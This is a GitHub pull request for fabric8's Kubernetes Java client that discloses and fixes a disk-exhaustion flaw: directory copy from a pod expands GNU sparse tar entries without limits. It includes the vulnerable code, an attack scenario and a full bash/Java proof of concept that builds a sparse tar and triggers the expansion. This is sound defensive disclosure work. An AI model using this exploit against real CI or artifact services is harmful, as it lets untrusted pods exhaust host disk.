Skip to content

fix: limit pod copy extraction size - #7962

Open
GrosQuildu wants to merge 2 commits into
fabric8io:mainfrom
GrosQuildu:ptp-49-pod-copy-limits
Open

fix: limit pod copy extraction size#7962
GrosQuildu wants to merge 2 commits into
fabric8io:mainfrom
GrosQuildu:ptp-49-pod-copy-limits

Conversation

@GrosQuildu

@GrosQuildu GrosQuildu commented Jun 26, 2026

Copy link
Copy Markdown
Contributor

Description

PodOperationsImpl.copy(Path) lets callers copy a file or directory from a pod to the client host. When the caller copies a directory, the client executes tar -cf - in the pod, parses the pod-controlled stdout as a tar archive, and writes every readable non-directory entry to disk. The extraction loop validates the normalized entry name, but it does not reject sparse tar entries and does not enforce a per-entry or total extracted-byte limit.

  public InputStream readTar(String source) {
    return read("sh", "-c", "tar -cf - " + shellQuote(source));
  }

  private void copyDir(String source, File target) throws Exception {
    // ...
    for (org.apache.commons.compress.archivers.ArchiveEntry entry = tis.getNextTarEntry(); entry != null; entry = tis
        .getNextEntry()) {
      if (tis.canReadEntryData(entry)) {
        final String normalizedEntryName = FilenameUtils.normalize(entry.getName());
        if (normalizedEntryName == null) {
          throw new IOException("Tar entry '" + entry.getName() + "' has an invalid name");
        }
        File f = new File(destination, normalizedEntryName);
        if (entry.isDirectory()) {
          // ...
        } else {
          // ...
          Files.copy(tis, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
        }
      }
    }
  }

Commons Compress treats GNU sparse tar entries as readable entries. It expands their logical sparse holes into zero bytes as callers read the entry stream. A malicious pod can therefore send a small tar stream that makes the Fabric8 client write a much larger local file.

The existing Kubernetes client configuration does not provide a setting that prevents this issue. Config and RequestConfig expose timeouts, retry settings, watch reconnect settings, upload timeout, logging interval, and concurrency limits, but no maximum response-body, copy-file, tar-entry, or total download byte limit. The limitBytes(int) API only appends the Kubernetes pod logs limitBytes query parameter; it does not apply to copy(Path), read(), exec output, port-forwarding, raw responses, or object list materialization.

Other remote-data download surfaces should be reviewed separately. In PodOperationsImpl, copyFile, read, pod logs, exec and attach output, and port-forwarding can all move pod-controlled bytes to client memory, client disk, or caller-provided streams. Outside PodOperationsImpl, APIs such as raw, load(URL), and normal list/get response materialization can also download or materialize large remote responses. These are additional hardening targets; this change focuses only on directory tar extraction.

Exploit Scenario

An artifact collection service runs Fabric8 on a CI host and calls

client.pods().withName(name).dir("/artifacts").copy(destination)

after tenant jobs finish. A malicious tenant controls the pod image or compromises the pod. Instead of returning ordinary artifact files, the pod returns a GNU sparse tar entry with a small archive size and a large logical file size. The Fabric8 client accepts the entry, Commons Compress expands the sparse hole while reading, and Files.copy(...) writes the expanded file into the CI workspace. Repeating this can exhaust workspace disk quota or stall the artifact service with little network transfer.

PoC code that generates a GNU sparse tar archive and drives the PodOperationsImpl.copy(Path) path:

#!/usr/bin/env bash
set -euo pipefail

repo="${1:-$(pwd)}"
tarball="${TMPDIR:-/tmp}/fabric8-sparse-poc.tar"
deps="${TMPDIR:-/tmp}/fabric8-kc-deps.txt"
classes="${TMPDIR:-/tmp}/fabric8-module-classes-$$"
poc="${TMPDIR:-/tmp}/PodCopySparseTarPoC.java"

docker run --rm debian:bookworm-slim sh -lc '
  mkdir -p /tmp/t
  truncate -s 1048576 /tmp/t/sparse.bin
  printf A | dd of=/tmp/t/sparse.bin bs=1 seek=1048575 conv=notrunc status=none
  tar --sparse -cf - -C /tmp/t sparse.bin
' > "${tarball}"

mvn -f "${repo}/pom.xml" -B -ntp -pl kubernetes-client -DskipTests \
  dependency:build-classpath -Dmdep.outputFile="${deps}"

if [ ! -d "${repo}/kubernetes-client/target/classes" ]; then
  mvn -f "${repo}/pom.xml" -B -ntp -pl kubernetes-client -am -DskipTests compile
fi

mkdir -p "${classes}"
cp -R "${repo}/kubernetes-client/target/classes/." "${classes}/"

cat > "${poc}" <<'JAVA'
import io.fabric8.kubernetes.client.KubernetesClientException;
import io.fabric8.kubernetes.client.dsl.internal.OperationContext;
import io.fabric8.kubernetes.client.dsl.internal.PodOperationContext;
import io.fabric8.kubernetes.client.dsl.internal.core.v1.PodOperationsImpl;
import org.apache.commons.compress.archivers.tar.TarArchiveEntry;
import org.apache.commons.compress.archivers.tar.TarArchiveInputStream;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Path;

public final class PodCopySparseTarPoC {
  private static final long EXPECTED_OUTPUT_SIZE = 1_048_576L;

  private PodCopySparseTarPoC() {
  }

  private static final class MaliciousPodOperation extends PodOperationsImpl {
    private final byte[] archive;

    private MaliciousPodOperation(byte[] archive) {
      super(new PodOperationContext().withDir("/remote/artifacts"), new OperationContext());
      this.archive = archive.clone();
    }

    @Override
    public InputStream readTar(String source) {
      if (!"/remote/artifacts".equals(source)) {
        throw new IllegalArgumentException(source);
      }
      return new ByteArrayInputStream(archive);
    }
  }

  public static void main(String[] args) throws Exception {
    if (args.length != 1) {
      throw new IllegalArgumentException("usage: PodCopySparseTarPoC <sparse-tar>");
    }

    byte[] archive = Files.readAllBytes(Path.of(args[0]));
    verifySparseEntry(archive);

    Path destination = Files.createTempDirectory("fabric8-pod-copy-");
    try {
      new MaliciousPodOperation(archive).copy(destination);
      long outputBytes = Files.size(destination.resolve("sparse.bin"));
      if (outputBytes != EXPECTED_OUTPUT_SIZE) {
        throw new IllegalStateException("unexpected output size: " + outputBytes);
      }
      System.out.printf(
          "VULNERABLE archive_bytes=%d output_bytes=%d%n", archive.length, outputBytes);
    } catch (KubernetesClientException e) {
      String causeMessage = causeMessage(e);
      if (causeMessage.contains("Refusing to extract sparse tar entry")) {
        System.out.println("PATCHED copy_failed=" + causeMessage);
        return;
      }
      throw e;
    }
  }

  private static String causeMessage(Throwable throwable) {
    for (Throwable current = throwable; current != null; current = current.getCause()) {
      if (String.valueOf(current.getMessage()).contains("Refusing to extract sparse tar entry")) {
        return String.valueOf(current.getMessage());
      }
    }
    return String.valueOf(throwable.getMessage());
  }

  private static void verifySparseEntry(byte[] archive) throws Exception {
    try (TarArchiveInputStream tar =
        new TarArchiveInputStream(new ByteArrayInputStream(archive))) {
      TarArchiveEntry entry = tar.getNextTarEntry();
      if (entry == null) {
        throw new IllegalStateException("empty archive");
      }
      if (!"sparse.bin".equals(entry.getName())) {
        throw new IllegalStateException("unexpected entry: " + entry.getName());
      }
      if (!entry.isSparse()) {
        throw new IllegalStateException("archive entry is not sparse");
      }
      if (!tar.canReadEntryData(entry)) {
        throw new IllegalStateException("Commons Compress cannot read the sparse entry");
      }
    }
  }
}
JAVA

classpath="${classes}:$(cat "${deps}")"
javac -proc:none -cp "${classpath}" -d "${classes}" \
  "${repo}/kubernetes-client/src/main/java/io/fabric8/kubernetes/client/dsl/internal/core/v1/PodOperationsImpl.java"
javac -proc:none -cp "${classpath}" "${poc}"
java -cp "$(dirname "${poc}"):${classpath}" PodCopySparseTarPoC "${tarball}"

The vulnerable code produced the following output during validation:

VULNERABLE archive_bytes=10240 output_bytes=1048576

After applying this change, the same PoC produced:

PATCHED copy_failed=Refusing to extract sparse tar entry: sparse.bin

Threat Model

The question is: should kubernetes-client implement configurations that limit disk and/or memory consumption driven by remote components.

If the pod output and other remote outputs are fully trusted then no fix is needed, but entry in threat model is advised.

If the pod output (and possibly other remote outputs) may not be trusted, then this change is recommended, along with threat model note and documentation update. Likely this is the case, as this issue is similar to #2715 (though less severe).

Fix

The fix makes kubernetes-client reject sparse tar entries by default and enforce caller-configurable byte limits while copying tar entry data. A size check based only on tar metadata is not sufficient because sparse tar metadata can report a small archive entry size while the readable stream expands to a larger logical file. The copy loop must count bytes actually written.

This change adds two public request-configuration fields and matching system properties for the directory-copy path:

  • podCopyMaxFileBytes / kubernetes.pod.copy.max.file.bytes
  • podCopyMaxTotalBytes / kubernetes.pod.copy.max.total.bytes

Both default to -1, meaning no byte limit. The change also adds regression tests for sparse entries, per-file limits, total limits, and an allowed copy within the configured limits.


Paweł Płatek from Trail of Bits in collaboration with OpenAI.

@GrosQuildu
GrosQuildu marked this pull request as ready for review June 26, 2026 15:20
GrosQuildu added a commit to GrosQuildu/kubernetes-client that referenced this pull request Jun 26, 2026
@GrosQuildu
GrosQuildu force-pushed the ptp-49-pod-copy-limits branch from b2380fc to 25c7466 Compare June 26, 2026 17:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant